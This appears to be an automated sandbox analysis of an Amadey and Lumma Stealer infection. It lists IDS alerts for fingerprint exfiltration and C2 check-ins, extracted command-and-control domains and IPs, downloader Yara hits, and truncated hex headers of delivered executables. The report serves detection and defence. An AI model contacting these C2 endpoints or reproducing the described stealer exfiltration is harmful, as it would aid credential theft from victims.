Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49904 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49901 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49914 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49915 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49929 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49930 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49931 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058397 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click) : 192.168.2.4:50886 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49943 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49860 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49949 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49950 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49787 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49873 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49873 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49988 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49988 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49787 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49847 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49949 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49847 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49853 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49853 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50038 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49814 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49995 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49814 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49995 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49915 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49886 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49886 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49943 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49943 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49950 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49950 -> 104.21.23.76:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: lossekniyyt.click
Source: Malware configuration extractor	IPs: 185.215.113.43

Yara detected Generic Downloader

Source: Yara match	File source: 7.0.6f93831ea2.exe.e20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.6f93831ea2.exe.46594e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.6f93831ea2.exe.4613198.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe, type: DROPPED

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 10:12:10 GMTContent-Type: application/octet-streamContent-Length: 3286016Last-Modified: Wed, 18 Dec 2024 13:43:08 GMTConnection: keep-aliveETag: "6762d16c-322400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 88 cf 56 f4 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 50 00 00 c8 2f 00 00 5a 02 00 00 00 00 00 ce e6 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 32 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 80 e6 2f 00 4b 00 00 00 00 00 30 00 40 57 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 32 00 0c 00 00 00 33 e6 2f 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d4 c6 2f 00 00 20 00 00 00 c8 2f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 40 57 02 00 00 00 30 00 00 58 02 00 00 ca 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 32 00 00 02 00 00 00 22 32 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 e6 2f 00 00 00 00 00 48 00 00 00 02 00 05 00 00 c2 01 00 40 1c 04 00 03 00 00 00 43 0d 00 06 40 de 05 00 7a 05 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 2b 05 28 42 0f 39 39 28 02 00 00 06 2a 00 00 3a 2b 05 28 f1 af 5e 41 00 28 21 0d 00 06 2a 00 12 00 00 00 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 13 30 03 00 92 00 00 00 01 00 00 11 28 2a 0c 00 06 38 79 00 00 00 fe 0c 00 00 45 03 00 00 00 63 00 00 00 4f 00 00 00 2f 00 00 00 38 5e 00 00 00 73 17 00 00 0a 80 04 00 00 04 20 01 00 00 00 17 3a d5 ff ff ff 26 38 cb ff ff ff 73 18 00 00 0a 80 03 00 00 04 38 d6 ff ff ff 73 19 00 00 0a 80 06 00 00 04 20 00 00 00 00 17 39 ab ff ff ff 26 20 00 00 00 00 38 a0 ff ff ff 73 1a 00 00 0a 80 05 00 00 04 20 02 00 00 00 38 8c ff ff ff 2a 73 1b 00 00 0a 80 02 00 00 04 38 ad ff ff ff 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 10:12:20 GMTContent-Type: application/octet-streamContent-Length: 1900544Last-Modified: Fri, 20 Dec 2024 09:13:20 GMTConnection: keep-aliveETag: "67653530-1d0000"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 00 4b 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 4b 00 00 04 00 00 b0 0c 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 20 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2b 00 00 40 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 64 75 62 72 76 74 6a 00 80 1a 00 00 70 30 00 00 7a 1a 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 74 71 77 73 70 6b 78 00 10 00 00 00 f0 4a 00 00 06 00 00 00 d8 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 4b 00 00 22 00 00 00 de 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 10:12:29 GMTContent-Type: application/octet-streamContent-Length: 2869248Last-Modified: Fri, 20 Dec 2024 09:13:31 GMTConnection: keep-aliveETag: "6765353b-2bc800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 00 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 4f 00 00 04 00 00 44 48 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 76 74 6a 73 6c 63 63 71 00 30 2a 00 00 c0 24 00 00 26 2a 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 78 77 77 64 6e 6e 6d 00 10 00 00 00 f0 4e 00 00 04 00 00 00 a2 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 4f 00 00 22 00 00 00 a6 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 10:12:38 GMTContent-Type: application/octet-streamContent-Length: 973824Last-Modified: Fri, 20 Dec 2024 09:11:05 GMTConnection: keep-aliveETag: "676534a9-edc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 9a 34 65 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 2c 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 0f 00 00 04 00 00 12 f2 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 0e 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 70 01 00 00 40 0d 00 00 72 01 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 c0 0e 00 00 76 00 00 00 66 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 20 Dec 2024 10:12:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 10:12:46 GMTContent-Type: application/octet-streamContent-Length: 2849792Last-Modified: Fri, 20 Dec 2024 09:11:33 GMTConnection: keep-aliveETag: "676534c5-2b7c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2c 00 00 04 00 00 90 6b 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 